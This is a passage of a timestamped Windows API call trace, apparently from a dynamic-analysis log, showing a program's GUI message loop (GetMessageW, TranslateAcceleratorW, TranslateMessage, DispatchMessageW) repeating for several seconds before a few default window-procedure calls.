lpMsg=0x18e548) returned 1 [0071.503] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0071.503] TranslateMessage (lpMsg=0x18e548) returned 0 [0071.503] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0071.504] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0071.549] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0071.549] TranslateMessage (lpMsg=0x18e548) returned 0 [0071.549] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0071.549] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0071.549] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0071.549] TranslateMessage (lpMsg=0x18e548) returned 0 [0071.549] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0071.550] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0071.595] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0071.596] TranslateMessage (lpMsg=0x18e548) returned 0 [0071.596] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0071.596] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0071.596] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0071.596] TranslateMessage (lpMsg=0x18e548) returned 0 [0071.596] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0071.597] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0071.642] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0071.642] TranslateMessage (lpMsg=0x18e548) returned 0 [0071.642] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0071.642] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0071.642] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0071.642] TranslateMessage (lpMsg=0x18e548) returned 0 [0071.642] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0071.643] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0071.689] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0071.689] TranslateMessage (lpMsg=0x18e548) returned 0 [0071.689] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0071.689] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0071.689] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0071.689] TranslateMessage (lpMsg=0x18e548) returned 0 [0071.689] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0071.690] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0071.814] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0071.814] TranslateMessage (lpMsg=0x18e548) returned 0 [0071.814] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0071.814] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0071.814] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0071.814] TranslateMessage (lpMsg=0x18e548) returned 0 [0071.814] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0071.815] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0071.861] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0071.861] TranslateMessage (lpMsg=0x18e548) returned 0 [0071.861] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0071.861] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0071.861] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0071.861] TranslateMessage (lpMsg=0x18e548) returned 0 [0071.861] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0071.862] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0071.923] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0071.923] TranslateMessage (lpMsg=0x18e548) returned 0 [0071.923] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0071.923] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0071.923] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0071.924] TranslateMessage (lpMsg=0x18e548) returned 0 [0071.924] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0071.924] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0071.954] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0071.954] TranslateMessage (lpMsg=0x18e548) returned 0 [0071.954] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0071.954] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0071.954] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0071.954] TranslateMessage (lpMsg=0x18e548) returned 0 [0071.954] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0071.955] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0072.003] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0072.003] TranslateMessage (lpMsg=0x18e548) returned 0 [0072.003] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0072.003] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0072.003] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0072.003] TranslateMessage (lpMsg=0x18e548) returned 0 [0072.003] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0072.004] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0072.050] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0072.050] TranslateMessage (lpMsg=0x18e548) returned 0 [0072.050] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0072.050] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0074.074] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0074.074] TranslateMessage (lpMsg=0x18e548) returned 0 [0074.074] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0074.075] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0074.111] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0074.111] TranslateMessage (lpMsg=0x18e548) returned 0 [0074.111] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0074.112] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0074.112] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0074.112] TranslateMessage (lpMsg=0x18e548) returned 0 [0074.112] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0074.117] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0074.154] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0074.154] TranslateMessage (lpMsg=0x18e548) returned 0 [0074.154] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0074.154] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0074.154] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0074.154] TranslateMessage (lpMsg=0x18e548) returned 0 [0074.154] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0074.155] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0074.201] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0074.201] TranslateMessage (lpMsg=0x18e548) returned 0 [0074.201] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0074.201] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0074.201] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0074.201] TranslateMessage (lpMsg=0x18e548) returned 0 [0074.201] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0074.202] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0074.513] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0074.513] TranslateMessage (lpMsg=0x18e548) returned 0 [0074.513] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0074.513] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0074.513] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0074.513] TranslateMessage (lpMsg=0x18e548) returned 0 [0074.513] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0074.514] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0074.562] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0074.562] TranslateMessage (lpMsg=0x18e548) returned 0 [0074.562] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0074.562] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0074.562] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0074.562] TranslateMessage (lpMsg=0x18e548) returned 0 [0074.562] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0074.563] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0074.639] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0074.639] TranslateMessage (lpMsg=0x18e548) returned 0 [0074.639] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0074.639] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0074.639] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0074.639] TranslateMessage (lpMsg=0x18e548) returned 0 [0074.639] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0074.640] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0074.653] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0074.653] TranslateMessage (lpMsg=0x18e548) returned 0 [0074.653] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0074.653] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0074.653] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0074.653] TranslateMessage (lpMsg=0x18e548) returned 0 [0074.653] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0074.654] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0074.700] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0074.700] TranslateMessage (lpMsg=0x18e548) returned 0 [0074.700] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0074.700] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0074.700] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0074.700] TranslateMessage (lpMsg=0x18e548) returned 0 [0074.700] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0074.701] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0074.747] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0074.747] TranslateMessage (lpMsg=0x18e548) returned 0 [0074.747] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0074.747] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0074.747] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0074.747] TranslateMessage (lpMsg=0x18e548) returned 0 [0074.747] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0074.748] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0074.799] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0074.799] TranslateMessage (lpMsg=0x18e548) returned 0 [0074.799] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0074.799] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0074.799] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0074.799] TranslateMessage (lpMsg=0x18e548) returned 0 [0074.799] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0074.800] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0074.840] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0074.840] TranslateMessage (lpMsg=0x18e548) returned 0 [0074.840] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0074.840] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0074.840] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0074.840] TranslateMessage (lpMsg=0x18e548) returned 0 [0074.840] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0074.841] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0074.887] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0074.887] TranslateMessage (lpMsg=0x18e548) returned 0 [0074.887] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0074.887] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0074.887] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0074.887] TranslateMessage (lpMsg=0x18e548) returned 0 [0074.887] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0074.889] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0074.935] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0074.935] TranslateMessage (lpMsg=0x18e548) returned 0 [0074.935] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0074.935] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0076.057] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0076.057] TranslateMessage (lpMsg=0x18e548) returned 0 [0076.057] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0076.058] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0076.105] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0076.105] TranslateMessage (lpMsg=0x18e548) returned 0 [0076.105] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0076.105] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0076.105] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0076.105] TranslateMessage (lpMsg=0x18e548) returned 0 [0076.105] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0076.107] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0076.151] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0076.151] TranslateMessage (lpMsg=0x18e548) returned 0 [0076.151] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0076.151] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0076.151] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0076.151] TranslateMessage (lpMsg=0x18e548) returned 0 [0076.151] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0076.152] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0076.197] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0076.198] TranslateMessage (lpMsg=0x18e548) returned 0 [0076.198] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0076.198] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0076.198] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0076.198] TranslateMessage (lpMsg=0x18e548) returned 0 [0076.198] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0076.199] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0076.244] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0076.244] TranslateMessage (lpMsg=0x18e548) returned 0 [0076.244] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0076.245] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0076.245] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0076.245] TranslateMessage (lpMsg=0x18e548) returned 0 [0076.245] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0076.246] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0076.292] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0076.292] TranslateMessage (lpMsg=0x18e548) returned 0 [0076.292] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0076.292] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0076.292] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0076.292] TranslateMessage (lpMsg=0x18e548) returned 0 [0076.292] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0076.293] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0076.394] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0076.394] TranslateMessage (lpMsg=0x18e548) returned 0 [0076.394] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0076.394] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0076.394] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0076.394] TranslateMessage (lpMsg=0x18e548) returned 0 [0076.394] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0076.395] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0076.464] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0076.464] TranslateMessage (lpMsg=0x18e548) returned 0 [0076.464] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0076.464] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0076.464] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0076.464] TranslateMessage (lpMsg=0x18e548) returned 0 [0076.464] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0076.465] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0076.478] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0076.478] TranslateMessage (lpMsg=0x18e548) returned 0 [0076.478] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0076.478] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0076.478] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0076.478] TranslateMessage (lpMsg=0x18e548) returned 0 [0076.478] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0076.479] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0076.525] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0076.525] TranslateMessage (lpMsg=0x18e548) returned 0 [0076.525] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0076.525] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0076.525] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0076.525] TranslateMessage (lpMsg=0x18e548) returned 0 [0076.525] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0076.526] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0076.572] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0076.572] TranslateMessage (lpMsg=0x18e548) returned 0 [0076.572] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0076.572] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0076.572] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0076.572] TranslateMessage (lpMsg=0x18e548) returned 0 [0076.572] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0076.573] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0076.619] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0076.619] TranslateMessage (lpMsg=0x18e548) returned 0 [0076.619] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0076.619] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0076.619] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0076.619] TranslateMessage (lpMsg=0x18e548) returned 0 [0076.619] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0076.620] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0076.666] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0076.666] TranslateMessage (lpMsg=0x18e548) returned 0 [0076.666] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0076.666] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0076.666] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0076.666] TranslateMessage (lpMsg=0x18e548) returned 0 [0076.666] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0076.667] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0076.712] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0076.712] TranslateMessage (lpMsg=0x18e548) returned 0 [0076.712] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0076.712] GetMessageW (lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0) [0077.312] NtdllDefWindowProc_W () returned 0x1 [0077.312] NtdllDefWindowProc_W () returned 0x1 [0077.313] NtdllDefWindowProc_W () returned 0x0 [0077.313] NtdllDefWindowProc_W () returned 0x0 [0077.314] NtdllDefWindowProc_W () returned 0x0 [0077.314] NtdllDefWindowProc_W () returned 0x1 [0077.316] 